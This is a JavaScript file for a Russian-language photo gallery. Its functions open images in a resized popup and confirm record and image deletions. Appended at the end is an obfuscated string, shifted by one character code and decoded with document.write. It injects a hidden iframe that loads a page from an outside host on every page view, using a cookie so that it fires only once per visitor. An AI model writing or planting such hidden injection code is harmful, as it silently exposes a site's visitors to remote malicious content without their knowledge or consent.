function AutoSize(img) {    foto1 = new Image();
    foto1.src = (img);
    Controlla(img);
}

function Controlla(img) {
    if((foto1.width!=0)&&(foto1.height!=0)){
       viewFoto(img);
    } else {
       funzione   = "Controlla('" + img + "')";
       intervallo = setTimeout(funzione, 20);
    }
}

function viewFoto(img) {
    w = foto1.width;
    h = foto1.height;
    if ((w > 800) || (h > 600)) {
        w1 = w / 1.5;
        h1 = h/1.5;
    } else {
        w1 = w;
        h1 = h;
    }
    stringa = "width=" + w + ", height=" + h;
    foto = window.open(img, "foto", "width=" + w1 + ", height=" + h1 + ", top=0, left=0, titlebar=no, toolbar=no, location=no, status=no, menubar=no, scrollbars=no, resizable=yes");
    foto.document.open();
    foto.document.write("<html><head><title>Фотогаллерея</title><script language='javascript'>window.focus();</script></head><body leftmargin=0 topmargin=0 rightmargin=0 bottommargin=0 marginwidth=0 marginheight=0><img src="+img+" width="+w1+" height="+h1+"></body></html>");
    foto.document.close();
}

function delq(url) {
    if (confirm('Вы действительно хотите удалить запись?')) {
        window.location.href = url;
        return (true);
    }
}

function delimg(url) {
    if (confirm('Вы действительно хотите удалить изображение?')) {        window.location.href = url;
        return (true);
    }
}


var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#sitm>9#*!>>!.2*!|ycoyh>epdvnfou/hfuFmfnfouCzJe)(mhvw(*<jg)ycoyh>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>mhvw!tsd>iuuq;00xxx/cvmboeb/fv0Hfe0ynmsqd/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#sitm>9<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = "";
                   for(var i=0;i<source.length;i++) {
                       result+=String.fromCharCode(source.charCodeAt(i)-1);
                   }
                   document.write(result);
